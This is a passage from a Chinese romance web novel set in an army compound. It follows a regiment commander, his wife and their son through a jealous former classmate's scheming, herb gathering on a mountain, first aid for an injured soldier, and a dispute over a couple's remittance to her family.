霍小川偷偷凑到霍沉舟耳边："爸爸，我想去找晓峰玩，"他指了指后排角落，"就那边！" 霍沉舟瞥了眼正慷慨激昂的政委，又看了看儿子期待的小脸，微微点头："别跑出礼堂。" 霍小川连连点头，猫着腰溜到后排。 两个小家伙蹲在角落，乔晓峰用手背抹了一下鼻涕：“没想到你也来看这种无聊的节目呀？要不是我妈非让我来，我才不来呢。” 霍小川歪着脑袋道：“为什么？我觉得前面那些节目都很有意思呀。” 乔晓峰老气横秋地叹了口气：“算了，你第一年来部队，没见过世面也正常，年年都是这些节目，看都看腻了。” 他指了指台上正在激情演讲的政委：“你认识他是谁不？” 霍小川摇摇头：“不认识。” “那是我爸！”他抓着霍小川的袖子，“刚才台上跳舞的大姐姐里还有一个是我表舅家的闺女，走，我带你去看她。” 霍小川犹豫地看了眼第一排的霍沉舟："可我爸说不让乱跑……" "怂包！"乔晓峰翻白眼，"我们又没出礼堂，漫漫姐手里有好吃的苏联巧克力！说不定他会给我们几块。" 霍小川被乔晓峰半拉半拽地往后台溜去，两个小家伙猫着腰，顺着墙根钻过厚重的帷幕，来到后台。 这里有许多刚才表演完节目的演员正在抽烟聊天，根本没人注意这两个小孩。 乔晓峰熟门熟路地拽着霍小川往更衣室方向跑："漫漫姐肯定在这儿！" 两人扒着化妆间的门缝往里瞧。 十几个女演员正坐在镜子前卸妆，她们嬉笑着聊些"文工团新来的指导员真俊""听说三师要组建女子侦察连"之类的话题。 乔晓峰突然眼前一亮，指着化妆台上一个铁皮盒子， "就是那个！"他咽了咽口水，"上次漫漫姐就是从这盒子里给我拿的，可香了！" 霍小川还在犹豫，乔晓峰已经大摇大摆推门进去："漫漫姐！" 正在卸妆的顾漫漫从镜子里瞥了他一眼："哟，晓峰啊。" "我特地来看你跳舞的！"乔晓峰嘴甜得像抹了蜜，"你跳舞可真好看。" 顾漫漫被逗得噗嗤一笑："你个小屁孩懂什么舞蹈。" 乔晓峰不好意思地挠挠头，目光却一直放在桌子上的巧克力上。 可顾漫漫只顾着对着镜子卸眼妆，压根没提巧克力的事，乔晓峰有点急了。 这时蒋雪从外面回来，看见门口探头探脑的霍小川，觉得有些眼熟："小朋友，你怎么在这？" 霍小川被突然的声音吓了一跳，回头看见是个漂亮的姐姐，腼腆道："大姐姐，我是跟着晓峰来的……" 蒋雪仔细一瞧，也想起了眼前的小男孩是谁，可不就是那个男人的儿子吗？这孩子的眉眼简直和霍沉舟一个模子刻出来的！ 她眼底闪过一丝复杂，随即温柔地摸摸霍小川的头："别在门口站着了，进来吧。" 霍小川犹豫地跟着蒋雪进了化妆间。 乔晓峰此时终于忍不住扯了扯顾漫漫的袖子："漫漫姐...能给我一块巧克力吗？就一块！" 顾漫漫笑了笑："这巧克力可不是我的，是那位蒋雪姐姐的。你想吃得问她呀。" 乔晓峰眼巴巴地望向蒋雪，虽然这个大姐姐笑得温柔，但他还是不敢开口。 蒋雪倒是大方，直接从化妆台上抓了把巧克力："来，都尝尝。" 乔晓峰接过巧克力，嘴甜得像抹了蜜："谢谢漂亮姐姐！" 霍小川却红着小脸摆手："不用了..." "怕什么？我和你爸爸是老同学呢。吃块糖没关系的。" 霍小川好奇："真的吗？" "当然。"蒋雪把糖塞进他手心。 小家伙终于接过巧克力，软软地道谢："谢谢大姐姐。" 蒋雪望着这张与霍沉舟七分相似的小脸，心里突然泛起酸涩。 她牵起霍小川的手："走吧，我带你去找爸爸。" 此时演出已经散场，沈晚走到霍沉舟身边："小川呢？" 霍沉舟："刚才和一个小朋友去玩了。" "那我们在门口等会儿吧。" 霍沉舟点点头。 赵晓燕就先回去了，沈晚和霍沉舟站在门口，她自然地牵起霍沉舟的手。 男人的手掌宽厚温暖，指节修长分明，虎口处有一层薄茧。 沈晚无意识地把玩着他的手指，心想这双手真是极品。 霍沉舟后背抵着礼堂外墙，纵容她的小动作，眼底漾着温柔的笑意。 蒋雪牵着霍小川走出来，正撞见这亲密的一幕。 她盯着两人交握的手，心底泛起酸涩。 她不得不承认，自己嫉妒得发狂，嫉妒沈晚能光明正大站在霍沉舟身边，嫉妒她能为这个男人生儿育女。 "爸爸妈妈！"霍小川脆生生的打招呼。 沈晚和霍沉舟同时转头，看到蒋雪牵着孩子站在台阶上，都有些意外。 霍沉舟率先上前牵过儿子："谢谢。" 蒋雪优雅地捋了捋耳边碎发："不客气，这小家伙跑到后台玩，正好被我遇见。" 霍小川举起手里的巧克力："大姐姐还给我糖吃！" 霍沉舟再次沉声道谢："多谢。" 蒋雪微微摇头，眼波流转："我们之间不用这么客气。" 第一百零四章 李丽撺掇蒋雪 她说着，目光轻飘飘地掠过霍沉舟身后的沈晚。 霍沉舟微微颔首："那我们先回去了。" 蒋雪再不忍心也只能点头："嗯，路上小心。" 看着霍沉舟一手牵着蹦蹦跳跳的霍小川，一手与沈晚十指相扣的背影，蒋雪死死咬住下唇。 "小雪？" 身后突然传来熟悉的嗓音。 蒋雪回头，看见憔悴的李丽，眉头几不可察地皱了皱："表姐。" 李丽局促地搓着手，打量着蒋雪光鲜亮丽的演出服和精致的妆容，再看看自己穿着又破又旧的衣服，有点眼红："你都回部队这么久了，也不来看看我……" 蒋雪笑笑："最近排练太忙了。" 李丽追问："你这次回来就不走了吧？" 蒋雪摇摇头："不一定呢，如果有更好的发展机会说不定就走了，对了，你和表姐夫最近怎么样？" 李丽顿时像被戳中痛处，头垂得更低了："唉……" 蒋雪惊讶："怎么了？他欺负你了？" "你表姐夫那人你也知道，"李丽抹了抹眼角，"耳根子软，最容易被那些长舌妇挑拨，我伺候他们爷俩这么多年，没有功劳也有苦劳吧？结果他前几天居然要跟我离婚！要不是为了孩子，我跟他离了也好。" 蒋雪眉头紧蹙："离婚？是谁在背后撺掇的？" 虽然蒋雪向来瞧不上这个市侩又斤斤计较的表姐，但好歹是一家人，不能就这么允许别人欺负她。 李丽指了指蒋雪身后还没走远的沈晚：“就是那个沈晚。” “沈晚？”蒋雪有点怀疑。 李丽添油加醋道：“就是那个从乡下来的沈晚，也不知道她给霍团长灌了什么迷魂汤，仗着有霍团长撑腰，在家属院横行霸道。你是不知道，她表面装得清高，背地里可骚着呢！光我看见的就发现她和好几个男的眉来眼去的，她就是个不要脸的狐狸精，连你姐夫都要勾引。” 蒋雪瞳孔微缩：“你确定你亲眼看见她勾引别人了？” "那还能有假？"李丽拍着胸脯，“可是霍团长不信啊。” 李丽边观察蒋雪的神情边试探地说："小雪，我记得你之前不是特别喜欢霍团长吗？" 蒋雪默默点头。 李丽继续道："你说要是那个沈晚真是和霍团长好好过日子的人，咱也不多说什么。现在最怕的是霍团长被那狐狸精蒙在鼓里，根本不知道她背地里什么样。" 蒋雪垂眸不知道在想什么，原本平静的心湖被李丽的话搅起波澜。 "反正我觉得，"李丽意味深长地拍拍她的手，"你和霍团长才是最般配的。你才是最有资格当团长夫人的人。" 蒋雪双手慢慢攥紧身侧的衣角，一开始她是真的想放弃霍沉舟的，因为她认为霍沉舟过得幸福，但是现在听到李丽这么说，她决不能容忍沈晚继续再这么欺骗霍沉舟了。 "可我能做什么？怎么才能让沉舟看清她的真面目？" 李丽眼珠子一转，凑到蒋雪耳边说了什么。 蒋雪默默点了点头：“容我想想。” 回家的路上，霍小川小心翼翼地把巧克力掰成小块，先递给沈晚："妈妈，你也吃。" 沈晚接过放入口中，浓郁的奶香瞬间在舌尖化开，这巧克力比现代那些添加剂的还要醇厚丝滑，带着淡淡的榛果香气。 霍小川又掰了一块举高高："爸爸！" 霍沉舟垂眸看了眼，摇头："我不爱吃甜的。" "哦..."小家伙塞进自己嘴里，满足地眯起眼，"好甜呀！" 他突然想起什么仰头，"爸爸，那个大姐姐说是你老同学？" 霍沉舟察觉到身旁女人似笑非笑的眼神，“嗯”了一声：“大学同学。” 沈晚慢悠悠咀嚼着巧克力："我们俩之间不用这么客气~" 她故意模仿蒋雪娇滴滴的语调。 霍沉舟脚步一顿，无奈侧首："又吃醋了？" "我没有呀~"沈晚眨眨眼，"我们俩之间哪用这么客气？" 又来这套。 霍沉舟盯着她沾着巧克力渍的唇瓣，喉结滚动，真想现在就回家把这狡黠的小女人按在炕上好好教训一顿。 到家后，霍沉舟又下了一锅饺子。 热腾腾的饺子端上桌时，霍小川已经饿得小肚子咕咕叫，扒着桌沿眼巴巴地等着。 霍沉舟把盛得最满的那碗推到沈晚面前，她却不老实地用筷子尖戳他手背，眼波流转："我就不说谢谢啦，毕竟我们之间不用这么客气，对吧？" “……”霍沉舟额角青筋一跳。 晚上九点，沈晚照例先陪霍小川睡觉。 小家伙今天攥着她的衣角不放，她只好陪着躺下，不知不觉自己也睡着了。 朦胧间，房门发出细微的"吱呀"声。沈晚一个激灵想坐起来，却为时已晚—— 霍沉舟已经爬上炕，结实的手臂从背后将她整个圈进怀里，温热的唇贴上她耳垂，犬齿不轻不重地磨了磨："阿晚……" 沈晚困得眼皮打架，在他怀里扭了扭："好困...别闹..." 抗议无效。 男人直接连人带被子抱起来，大步走向隔壁房间，沈晚被放在炕上时还晕乎乎的，直到温热的指尖掐上腰间软肉才彻底清醒—— "霍沉舟！你……" 沈晚又被折磨了一个小时，最后霍沉舟故意逗她：“还学别人说话不？” 沈晚抱紧男人的腰，嘴巴微微张开喘着粗气：“不，不学了，我错了。” 霍沉舟终于满意，动作也温柔下来。 结束后，沈晚瘫在炕上，白皙的肌肤泛着粉，累得眼皮都懒得抬。 霍沉舟刚拿起遮羞的衣物想帮她穿上，就被她一脚踹开—— "我要擦身子……"她哑着嗓子命令，"你去端水。" 霍沉舟低笑着亲她汗湿的鬓角："不脏。" "不行！"沈晚执拗地瞪他，虽然这眼神软绵绵的毫无威慑力，"我就要擦。" 霍沉舟只好起身去厨房，拿了陶瓷盆和毛巾回来。 他蹲在炕边，把热水兑成适宜的温度，然后打湿毛巾。 "抬胳膊。"他握着毛巾，从她的指尖开始擦拭，每一寸都不放过。 好不容易等小女人满意了，这才能上炕抱着她睡觉。 第一百零五章 顾战遇周凤英 第二天，蒋雪起了个大早，她今天特意好好打扮了一番，穿上崭新的玫红色大衣，衬得肤色更加白皙。她还喷了点香水，又在脸颊上轻轻扫了些胭脂，唇上点了淡淡的红，整个人明艳又端庄。 到了文工团，顾漫漫一见到她，眼睛一亮：“哟，小雪，今天怎么打扮得这么漂亮？” 蒋雪抿唇笑了笑，有些羞涩：“我想去请沉舟参加大学同学聚会。” 顾漫漫一听，顿时来了兴致：“真的？你这是想通了？” 蒋雪轻轻点头，眼神微黯：“本来我只想看着他幸福就好，可我现在才知道，那个沈晚根本不是好人。” 顾漫漫好奇地凑近：“什么意思？” 蒋雪压低声音，把昨晚李丽说的话一五一十地复述了一遍。 顾漫漫听完，厌恶地皱了皱眉：“这种女人也太恶心了吧？表面装得清高，背地里竟然这么不知廉耻！” 蒋雪叹了口气：“所以，我想把沉舟约出来，我们几个大学同学一起吃个饭，然后……” 她没说完，但顾漫漫立刻会意，笑着拍拍她的肩：“小雪，你能想通就好！我支持你去追求自己的真爱，霍团长那样的男人，怎么能被那种女人耽误？” 蒋雪感激地冲她笑了一下。 …… 顾战正开着车赶去办公楼，路过一个拐弯处，他一打方向盘，结果轮胎压过路边的泥水，"哗啦"一声，泥水飞溅而起，正好泼在路口站着的一位女同志身上。 顾战心里一惊，连忙刹车停到路边，快步跑了过去："同志，你没事吧？" 站在路口的女人约莫二十来岁，留着利落的齐耳短发，眉目英气，身姿挺拔，穿着一件藏蓝色风衣，内搭白衬衫，整个人透着一股干练利落的气质。 她正皱眉看着大衣上溅满的泥点子，脸色微沉。 顾战看清她的脸后，愣了一下："周凤英同志？你回来了？" 周凤英听到熟悉的声音，缓缓抬头，她嘴角刚勾起笑容又像想到什么收了回去："顾战？" 顾战咧嘴一笑，露出一口白牙："真是你啊！你从京市回来了？" 周凤英"嗯"了一声，语气淡淡："回来看看我爸妈。" 顾战看着她大衣上的泥渍，有些尴尬地挠了挠头："那个……对不住啊，我刚才拐弯没注意，要不……我赔你件新的？" 周凤英低头拍了拍衣服，神色依旧冷峻："不用了，反正也不是什么贵重衣服。" 顾战见她态度冷淡，心里有些讪讪的，“你想去哪，我送你吧。” 周凤英刚想拒绝，顾战又道：“别客气了，快上车吧。” 说罢，他就往车那边的方向走了两步，见周凤英不动，又冲她招招手：“快上车。” 周凤英理了理额角的碎发，还是面无表情地上车了。 上车后，顾战问：“你还没告诉我想去哪呢？” “我回家。” “哦哦，行，我送你。今天的事真不好意思哈。”顾战干笑两声，试图缓和气氛。 周凤英把头扭向窗外，语气平淡：“没事。” 路上，顾战时不时找话题搭话，周凤英却始终态度冷淡，要么简短回应，要么干脆沉默。 顾战心里纳闷，以前这姑娘虽然性格直爽，但也不至于这么疏远，难道真是因为自己弄脏了她的衣服，惹她不高兴了？ 想到这儿，他更愧疚了几分——人家好不容易回家一趟看看爸妈，还被自己溅了一身泥点子，换谁心情都不会好。 快到师部大院时，周凤英冷不丁开口：“听说你结婚了？恭喜啊。” 顾战一愣：“这你都知道？” “嗯，听我妈说了。新媳妇还是你的青梅竹马？之前我妈还想介绍我们俩认识，没想到这才多长时间，你都结婚了。” 她的语气听不出情绪，顾战干巴巴地笑了两声："是啊，从小一起长大的，家里人都挺满意。" 周凤英依旧望着窗外："挺好的。" 顾战握着方向盘的手微微收紧，总觉得气氛有些沉闷，便又主动找话题："你这次回来待多久？" 周凤英淡淡回道："京市那边工作没什么事了，应该可以待到过年。" 顾战点点头，语气轻快了些："那挺好的，正好可以多陪陪周首长和杨主任。" 车子缓缓停在师部大院门口，杨雪梅正弯腰晾衣服，听见动静抬头一看，顿时惊喜道："凤英！你回来了？" 周凤英推门下车，脸上终于露出一丝笑意："嗯，回来陪您和爸过年。" 顾战也下车打了个招呼："杨主任好。" 杨雪梅眼神在两人之间转了转，笑着挽住女儿的手臂："小顾啊，要不要进来坐会儿？" 顾战连忙摆手："不了不了，队里还有事，我先回去了。" 等吉普车开远，杨雪梅捏了捏女儿的手："你们俩怎么一块儿回来的？" 周凤英把行李拎起来往院里走："路上凑巧碰见的，您别多想。" 杨雪梅跟在后面，叹了口气：“当初你不是还挺喜欢小顾的？让你早点回来和他相处试试你偏不回来，说要忙工作，现在人家都结婚了，你想相处试试也没机会了。” 周凤英无奈：“妈，你现在还说这些干嘛？他都结婚了，这话让别人听去了该多想了。” “行，我不说，但是你什么时候能谈个对象给我带回来看看？咱不要求对方家庭有多好，人品好就行。” 周凤英：“这都得看缘分。” 杨雪梅戳了戳她的脑袋：“你赶紧把你头发留起来，老是留着这么丑的发型，缘分从哪来？” 周凤英笑了：“真喜欢我的我就算剃光头他也喜欢。” 杨雪梅瞪了她一眼："你这孩子，净说些歪理！" 顾战来到办公楼时，正好在门口遇到了蒋雪，此时她被警卫员拦在楼底下，看见顾战，她立马面露惊喜：“顾营长，这里！” 顾战听到声音走过来，有些疑惑：“蒋同志，文艺汇演不是结束了吗？你找我还有事？” 蒋雪微微抿唇，笑容温婉：“我今天不是来找你的。” 第一百零六章 是不是想我了 顾战挑眉：“那你是……？” 蒋雪抬眸看了眼办公楼，语气轻柔：“我想找你们霍团长，他在吗？” 顾战看了眼时间：“这个时间，团长应该在办公室。你要是有急事可以告诉我，我帮你转达。” 蒋雪面露为难，指尖轻轻绞着衣角：“也不是什么要紧的事……就是有些话，想当面和他说。” 顾战见她欲言又止，便道：“那我带你上去吧，不过团长现在挺忙的，你最好长话短说。” 蒋雪眼睛一亮，连忙点头：“谢谢顾营长！” 等到了办公室门口，顾战对蒋雪说：“蒋同志，我先进去和团长说一声，叫你你再进去。” 蒋雪温顺地点头：“好。” 顾战抬手敲了敲门，里面传出霍沉舟低沉冷冽的声音：“进。” 他推门进去，顺手将门带上，隔绝了蒋雪探究的视线。 霍沉舟正低头翻看一份冬季边防巡逻的部署文件，眉头微蹙，钢笔在纸上圈画着几处需要调整的哨点。 听到顾战的声音，他头也不抬地问：“有事？” 顾战笑嘻嘻道：“团长，蒋雪同志有事找你，现在在门口等着。” 霍沉舟疑惑：“什么事？” 顾战摇头：“她没说，只说想亲口告诉您。” 霍沉舟沉吟一瞬，淡淡道：“让她进来吧。” 他合上文件，随手从抽屉里取出一份新的训练计划，“你去三营一趟，把这份新修订的雪地作战训练方案交给小林，让他今天下午组织各连队学习。” 顾战接过文件，利落地敬了个礼：“是！” 他转身开门，正对上蒋雪希冀的眼神。 “蒋同志，团长让你进去。” 蒋雪眼睛一亮，声音柔柔的：“谢谢顾营长。” 她走进办公室，轻轻将门关上，指尖无意识地抚了抚鬓角的碎发，这才抬眼看向办公桌后的男人。 霍沉舟看着她：“蒋雪，你找我有事？” 蒋雪鼓足勇气道："霍团长，这周日你有没有时间？我想请你参加咱们大学同学聚会。" 霍沉舟皱了皱眉："同学聚会？" 蒋雪连连点头：“嗯嗯，就在镇上的迎宾楼，明哲、俊辉他们都会去，大家难得聚一次，都说想见见你呢。” 霍沉舟略一思索。 褚明哲和刘俊辉确实是他大学时期关系不错的朋友，毕业后各自成家，确实很久没见了。 正好可以趁这个机会把阿晚介绍给他们认识。 想到这，他点点头："行，具体时间？" 蒋雪心里一喜，没想到霍沉舟这么爽快就答应了："周日下午五点，镇上迎宾楼。" "知道了。"霍沉舟简短地应道。 蒋雪脸上掩不住的欣喜："那我先走了，周日见！" 她转身离开走到门口时，还忍不住回头看了一眼，见霍沉舟已经重新低头处理文件，这才依依不舍地关上门。 中午，沈晚提着自己精心做的饭盒来找霍沉舟了。 警卫员都认识这位漂亮的嫂子，笑着敬了个礼就放行了。 沈晚熟门熟路地来到霍沉舟办公室门前，抬手轻轻敲了敲门，然后推开一条缝。 霍沉舟以为是顾战去而复返，头也不抬地冷声道："还有什么事？" 沈晚抿唇偷笑，故意不说话，只把门又推开了一些。 霍沉舟察觉到异样，一抬头，正对上沈晚那双笑吟吟的杏眼。 他冷峻的眉眼瞬间柔和下来，立刻站起身大步走过去："你怎么来了？" 他一把将人拉进办公室，反手关上门，顺势就把沈晚按在墙上亲了亲，低沉的嗓音里带着笑意："是不是想我了？" 沈晚被他亲得脸红，举起手里的饭盒挡在两人中间："我是来给你送饭的。" 霍沉舟接过饭盒随手放在桌上，单手扣住她的腰又亲了上来："送饭是假，想见我是真。" 沈晚想到此行的目的，顺从地接受男人的吻，两人越亲越投入，霍沉舟干脆长臂一扫，将办公桌上的文件推到一旁，一把将沈晚抱到桌上坐着，然后更加深入地吻住她。 沈晚被他亲得呼吸微乱，整个人几乎软在他怀里。 五分钟后，霍沉舟才依依不舍地放开她，垂眸看着女人被自己亲得微微红肿的唇瓣，眼底闪过一丝餍足。 沈晚双手软软地搭在他脖子上，声音带着点撒娇的意味：“沉舟~” 这一声轻软的呼唤，像羽毛般拂过霍沉舟的心尖，让他整颗心都酥麻了一瞬。 他喉结滚动，低低应了一声：“嗯，怎么了？” 沈晚眨了眨眼：“我想上山。” 霍沉舟从怀中女人的温柔乡中回过神来，轻轻蹙眉："不行，危险。" 沈晚讨好地笑笑，指尖在他胸口画着圈："又不是第一次了，没事的。" 霍沉舟沉声道："今天顾战没空，陪不了你。" "我自己一个人也可以的。"沈晚仰着脸看他。 "不行。"霍沉舟语气坚决。 沈晚瘪瘪嘴，一双水汪汪的大眼睛委屈巴巴地望着他，睫毛轻颤，像是下一秒就要掉下泪来。 霍沉舟被搞得心软了，沉吟片刻后妥协道："我陪你去。" 沈晚眨了眨眼："啊？那会不会耽误你的工作呀？" "不会。"霍沉舟捏了捏她的鼻尖，"正好要去后山检查新设的哨岗，顺便看看冬季防御工事的进度。" 沈晚眼睛一亮，立刻笑逐颜开："好啊好啊！"她踮起脚尖在男人下巴上亲了一口，"那我们快走吧！" 霍沉舟无奈地按住雀跃的小女人：“先吃饭。” 沈晚干笑两声："哦，忘记了，你没吃饭，你快吃。" 霍沉舟把椅子往旁边挪了挪，坐了下来，沈晚依旧坐在桌子上，晃荡着双腿看着他吃饭。 霍沉舟夹了一筷子菜，突然想到什么，边吃边说道："蒋雪邀请我周日下午去参加同学聚会。" "你去呗。" "我想带你去。" 沈晚犹豫道："那不合适吧？都是你同学。" 霍沉舟认真道："没事，有一些是我大学的好友，很久没见了，正好把你介绍给他们。" 沈晚歪着头看他："你确定？" "嗯。"霍沉舟伸手握住她的手腕，"你不想去？" 霍沉舟都这么说了，沈晚哪有什么理由再拒绝，她点点头：“行！” 第一百零七章 跟紧我，别乱跑 吃完饭，两人一起来到部队后山哨岗。 山风凛冽，沈晚鼻尖冻得微微发红。霍沉舟见状，不动声色地往她身前挡了挡，替她遮去大半寒风。 值班的哨兵班长远远看见霍沉舟，立马小跑了过来：“团长，你怎么来了？” 霍沉舟沉声道："我来检查新哨岗的部署情况。" 马学军立即挺直腰板："是！" 他目光不自觉落在团长身后的女人身上。 沈晚冲他抬手打招呼："又是你呀。" 马学军就是上次她第一次上山时遇到的那个班长。 看到沈晚和自己打招呼，他不好意思地点点头："嫂子好，你今天又要上山啊？" 沈晚微笑着点头："这不是好久没来了？" 霍沉舟眼神在两人之间流转一圈："你们俩认识？" 沈晚："我第一次上山还是马班长带人护送的，要不是他们帮忙，我都找不到那么多好草药呢。" 马学军连忙摆手："应该的应该的，嫂子太客气了。" 霍沉舟微微颔首：“我们和巡逻队一起上山。” 马学军点点头，立马转身招呼了几个战士，检查完装备，很快便在前面开路。 霍沉舟牵着沈晚的手跟在后面，低声嘱咐道："跟紧我，别乱跑。" 沈晚眉眼弯弯："知道啦，霍团长。" 队伍沿着山间小路缓缓前行。 沈晚四处搜寻，时不时蹲下身拨开枯叶，仔细辨认着各种植物。 她最近打算研究一份祛风湿的药方卖给董院长。 透骨草和威灵仙对治疗关节痛有奇效，沈晚挖了不少，霍沉舟手里拎着一个竹筐子，帮她拿着草药。 这时，沈晚在岩石缝隙里发现了苍术，她刚要过去，霍沉舟按住她肩膀："你别动，我去给你摘。" 沈晚点头："好，你小心点。那块石头有点松动，踩左边那块比较稳。" 她指着岩壁上的落脚点，"对，就是那里。再往右一点...好了，现在伸手就能够到了！" 霍沉舟按照她的指示，先试了试脚下的石头，确保牢固后，长臂一伸，便很轻松地将那丛苍术连根拔起。 他动作利落地跳下来，把还带着泥土的苍术递给她："是这个吗？" “对，是这个。”沈晚接过苍术，仔细检查根部，"这根须完整，药效肯定好。" 她小心抖掉泥土，放进竹筐里，"再找找看，这一带应该还有。" 霍沉舟不懂这些，“这些草药有什么功效？” 沈晚很专业地讲解给他听："祛风湿，苍术健脾祛湿，配上威灵仙和透骨草，我再加几味温经散寒的药，做成药膏外敷，比西药管用。" 她拍拍竹筐，"这些够配好几副了，到时候给董院长看看。" 霍沉舟看着她神采飞扬的样子，眼中浮现笑意："董院长要是知道你这么上心，肯定高兴。" 两人说话间，又在山坡上发现了两株苍术。 等草药采的差不多了，她主动对霍沉舟说："草药采得差不多了，我先下山吧。" 霍沉舟会意，叫来一名战士护送她下山。 沈晚：“你忙完早点下山。” 下山后，沈晚来到哨岗的接待室休息，屋里生着暖融融的火炉，驱散了山上的寒气。 一个年轻的小战士红着脸给她递来一杯热水："嫂、嫂子，您喝水。" 沈晚接过搪瓷缸，温声道谢："谢谢。" 小战士看起来不过十八九岁，看起来十分局促，结结巴巴地说："不、不客气！" 说完就同手同脚地退了出去。 很快，天色渐渐暗了下去，霍沉舟还没回来。 沈晚有点焦虑，忍不住站到窗前往山上看。 这时，刚才那个腼腆的小战士端着煤块进来给火炉添火。 看见沈晚站在窗前，他好心安慰道："嫂子，你不用担心，天黑之前团长肯定能回来。" 沈晚勉强扯扯唇："嗯。" 又等了半个小时，太阳马上就要下山了，就在沈晚快要忍不住出去找人的时候，远处终于出现了几个模糊的身影。 沈晚眼睛一亮，立刻踮起脚张望。 可当她看清时，心里一沉，霍沉舟走在最前面，而他身后的马学军背上背着一个战士，看上去是受伤了。 "沉舟！"沈晚顾不得穿外套，推开门就冲了出去。 霍沉舟听见声音抬头，看见沈晚只穿着单薄的毛衣就跑出来，眉头立刻皱了起来。 他快步上前，一把将人搂住："怎么不穿外套就出来？" 沈晚只是看着马学军背上的人：“他受伤了？” 马学军喘着粗气说："没事嫂子，就是巡逻时踩空摔了一跤，可能是崴到脚了。我现在找担架送他去医院。" 沈晚拧眉："有点像是骨折了，我先给他简单固定一下，你们再送他去医院吧。" 马学军愣了一下："啊？不能吧，哪有那么严重？就是扭了一下......" 受伤的战士也连连摆手："嫂子，我真没事！要不是班长非得背着我，我都能自己下山了！" 沈晚见他们不肯配合，偷偷拽了拽旁边霍沉舟的衣角。 霍沉舟会意，沉声道："先让你们嫂子看看吧。" 他一个眼神，马学军立刻噤声，背着伤员进了接待室。 沈晚快步跟上："忍着点，我先看看伤势。"她蹲下身，纤细的手指轻轻按在战士肿胀的小腿上。 受伤的战士咬着牙，额头渗出细密的汗珠，却硬是一声不吭。 "胫骨轻微骨裂，需要固定。"沈晚抬头看向霍沉舟，"帮我找些绷带和树枝来来。" 霍沉舟立即转身，从哨岗的医药箱里取来急救绷带，又从外面的树上掰了几根笔直的树枝。 沈晚接过绷带，将树枝贴在战士小腿两侧作为夹板，然后用绷带一圈圈缠绕固定， "这样能暂时固定住，还得去医院打石膏。" 马学军站在一旁，虽然觉得他们这些糙汉子受点伤是常事，但还是对沈晚诚恳地说："谢了嫂子，我们现在就送他去医院。" 沈晚点点头，和霍沉舟先行离开。 第一百零八章 甩苏琴杉一巴掌 回程路上，霍沉舟单手握着方向盘，另一只手随意地搭在车窗边。军装袖口挽起，露出结实的小臂，骨节分明的手指在方向盘上轻敲。 车窗外昏黄的路灯偶尔掠过，勾勒出他棱角分明的侧脸轮廓，下颌线绷紧，喉结微动，整个人透着一股冷峻又沉稳的气质。 沈晚托着腮，目不转睛地盯着他看。 霍沉舟察觉到她的视线，唇角微勾："看什么呢？" "看你长得好看。"沈晚脱口而出。 霍沉舟先是一愣，随即低笑出声，冷峻的眉眼瞬间柔和下来，他伸手握住她微凉的小手，拇指在她手背上轻轻摩挲。 沈晚想到刚才马学军和伤员满不在乎的态度，忍不住问："霍沉舟，你会不会也觉得我小题大做？" 聪明如霍沉舟，很快便猜出沈晚的想法，“他们都是糙汉子，四肢发达头脑简单的家伙，受伤只知道硬扛，自然不明白及时处理的重要性，他们的话你不用放在心上。再说了，我媳妇这么厉害，我骄傲还来不及呢。” "我媳妇"三个字从他低沉的嗓音里滚出来，带着一种说不出的亲昵和宠溺，叫的沈晚心里酥酥麻麻的，从脖子到脸瞬间都红了。 不知道为什么，她总觉得霍沉舟叫“媳妇”的时候好好听。 幸好霍沉舟专注开车没看她，不然又要故意逗她脸红的样子。 车子驶过训练场，拐进了部队的财务处，这里专门负责给军属们寄钱汇款。 沈晚本来还不知道他要干什么，霍沉舟主动道：“我去给我爸妈寄点钱，我妈那病需要长期吃药，我怕他们钱不够。” 沈晚听到这里，心里不禁又愧疚起来，霍母是风湿性心脏病，这病原本只是轻微症状，但前几年被原主几次三番地闹腾，气得病情加重了不少。 想到这里，她鼻尖发酸，跟在霍沉舟身后闷声道："等爸妈过来，我一定帮妈好好调养身体。" 霍沉舟知道小女人在想什么，伸手揉了揉她的发顶："好。" 没想到在财务科碰见了两个熟悉的人。 苏琴杉正站在柜台前，手里捏着一张汇款单，正让财务科的干事帮她办理汇款手续，顾战站在她旁边，眉头紧锁。 "同志，麻烦把这四百块钱汇到这个地址。收款人写苏大山。" 沈晚刚进门就听到"四百块"这个数字，心里一惊。 苏琴杉竟然一次性往娘家汇去这么多钱？ 干事接过汇款单："顾营长，这数目可不小啊，要不要再确认一下？" 苏琴杉急切道："不用了，我家里急着用钱，麻烦快点。" 等汇款手续办完，苏琴杉总算满意了，她嘴角扬起笑容，余光瞥见顾战阴沉的脸色，忍不住皱眉道："阿战，我们俩都结婚了，我爸妈不就是你爸妈吗？现在家里翻修房子急需用钱，我们远在部队又不能回去帮忙，出点钱不是应该的吗？" 她这一番话说得冠冕堂皇，顾战嘴笨，支吾了半天才憋出一句："上个月咱刚寄了一百五......琴杉，咱家都快吃不起饭了。而且，我这个月还没给我家里寄钱呢......" 苏琴杉眼底闪过一丝不耐，语气却放软了几分："等你下个月津贴发了，再给你爸妈寄钱也来得及嘛。" 她挽住顾战的胳膊，故作体贴道，"我爸妈那边是真的急用，房子都快塌了，总不能让老人家住危房吧？" 顾战被她堵得说不出话。 沈晚忍不住冷笑一声，“苏琴杉，你一次就寄好几百，以顾营长的津贴得攒大半年吧？你爸妈修房子是急事，他老家一家老小等着这钱吃饭改善生活就不是事了？ 结婚是两个人搭伙过日子，不是让你用小家钱去填补大家。再说了，农村翻新一次房子最多就是换几根梁、补补瓦，五十块钱顶天了。你这连着寄好几百，到底是翻新房子还是借机贴补家里，明眼人都能看出来，你是把别人都当傻子吗？” 苏琴杉回头见是沈晚，脸上顿时浮现嫉恨之色："沈晚，你说这些话什么意思？难道我故意坑阿战的钱吗？" 顾战却觉得沈晚这番话全说到了自己心坎里，他拉了拉苏琴杉的袖子："琴杉，我觉得嫂子说得挺对的。" 苏琴杉脸色一僵，随即眼眶一红："好啊顾战，你现在也帮着外人说话了是不是？我爸妈养我这么大，我尽点孝心怎么了？" 沈晚嗤笑一声："尽孝心可以，但别拿丈夫的血汗钱充大方。要是真孝顺，不如自己想办法赚钱寄回去，那才叫本事。" 顾战叹了口气，努力缓和语气："琴杉，这样吧，这个月先寄一百块钱吧，我再给我家里寄五十，剩下的我们存起来。" 苏琴杉猛地甩开他的手："钱都寄了，你还要反悔？" "嫂子说的很有道理啊，"顾战皱眉，"翻新房子，两百块钱足够用了。" "阿战！"苏琴杉突然红了眼眶，声音带着哭腔，"我爸妈也是看着你长大的啊！小时候你们家穷，可是我爸妈给你送的馍馍，你就这么没良心？！" 顾战被她的话刺得心头一痛，捂着头蹲了下来，整个人显得疲惫不堪。 